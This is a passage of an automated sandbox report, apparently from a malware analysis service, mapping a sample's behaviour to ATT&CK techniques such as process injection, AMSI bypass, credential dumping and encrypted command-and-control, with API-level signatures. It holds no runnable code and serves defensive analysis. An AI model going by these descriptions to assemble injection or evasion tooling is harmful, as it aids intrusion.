process"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"malicious","value":"Script loads executable in memory (Antimalware Scan Interface)"},{"type":"informative","value":"Contains ability to create a remote thread (API string)"},{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"informative","value":"Attempts remote code execution into another process memory space"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"YARA signature match - RC4 Encryption"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match – Encryption algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to decode base64 data"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"Hidden Files and Directories","attack_id":"T1564.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/001","identifiers":[{"type":"malicious","value":"Attempts to change the attributes of the files"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"Command Obfuscation","attack_id":"T1027.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/010","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"Compile After Delivery","attack_id":"T1027.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/004","identifiers":[{"type":"suspicious","value":"Invokes the C# compiler"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"informative","value":"YARA signature match - Medium entropy File"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Attempts to get system information using PowerShell"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"suspicious","value":"Found system commands related strings"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Retrieves specified items using PowerShell"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Able to discover operating system information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Discovery","technique":"Internet Connection Discovery","attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","identifiers":[{"type":"informative","value":"Able to check internet connectivity using ping command"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Creates directory on disk"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"},{"type":"suspicious","value":"Drops script files inside temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"tactic":"Discovery","technique":"Device Driver Discovery","attack_id":"T1652","attack_id_wiki":"https://attack.mitre.org/techniques/T1652","identifiers":[{"type":"informative","value":"Tries to retrieve device driver information"}],"sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"suspicious","value":"Found a potential E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"file/memory contains long string with (Indicator: \"VirtualAlloc\"; File: \"do4x3zh4.0.cs\")\n file/memory contains long string with (Indicator: \"VirtualAllocEx\"; File: \"do4x3zh4.0.cs\")\n file/memory contains long string with (Indicator: \"WriteProcessMemory\"; File: \"do4x3zh4.0.cs\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to write/modify file content (Powershell command string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-331","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00001132)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00001132)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00001132)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00001132)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '1710975549441', 'hResInfo': '1710975557856'}\" (UID: 00000000-00001132)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1710975549441', 'hResInfo': '1710975557888'}\" (UID: 00000000-00001132)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1710975549441', 'hResInfo': '1710975557904'}\" (UID: 00000000-00001132)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1710975549441', 'hResInfo': '1710975557872'}\" (UID: 00000000-00001132)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to create a remote thread (API string)","description":"file/memory contains long string with (Indicator: \"CreateRemoteThread\"; File: \"do4x3zh4.0.cs\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObjectEx\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"Found string \"# valid values (supported on all paltforms where Format-Hex is avaliable)\" (Indicator: \"Format-Hex\"; Source: \"00000000-00001132.00000001.135191.76850000.00000004.mdmp\")\n Found string \"# 170..180 | format-hex\" (Indicator: \"Format-Hex\"; Source: \"00000000-00001132.00000001.135191.76850000.00000004.mdmp\")\n Found string \"# PS# 170..180 | format-hex -Raw\" (Indicator: \"Format-Hex\"; Source: \"00000000-00001132.00000001.135191.76850000.00000004.mdmp\")\n Found string \"function ConvertFrom-SddlString\" (Indicator: \"ConvertFrom-SddlString\"; Source: \"00000000-00003984.00000001.136212.9D1AA000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify process memory (API string)","description":"file/memory contains long string with (Indicator: \"VirtualAllocEx\"; File: 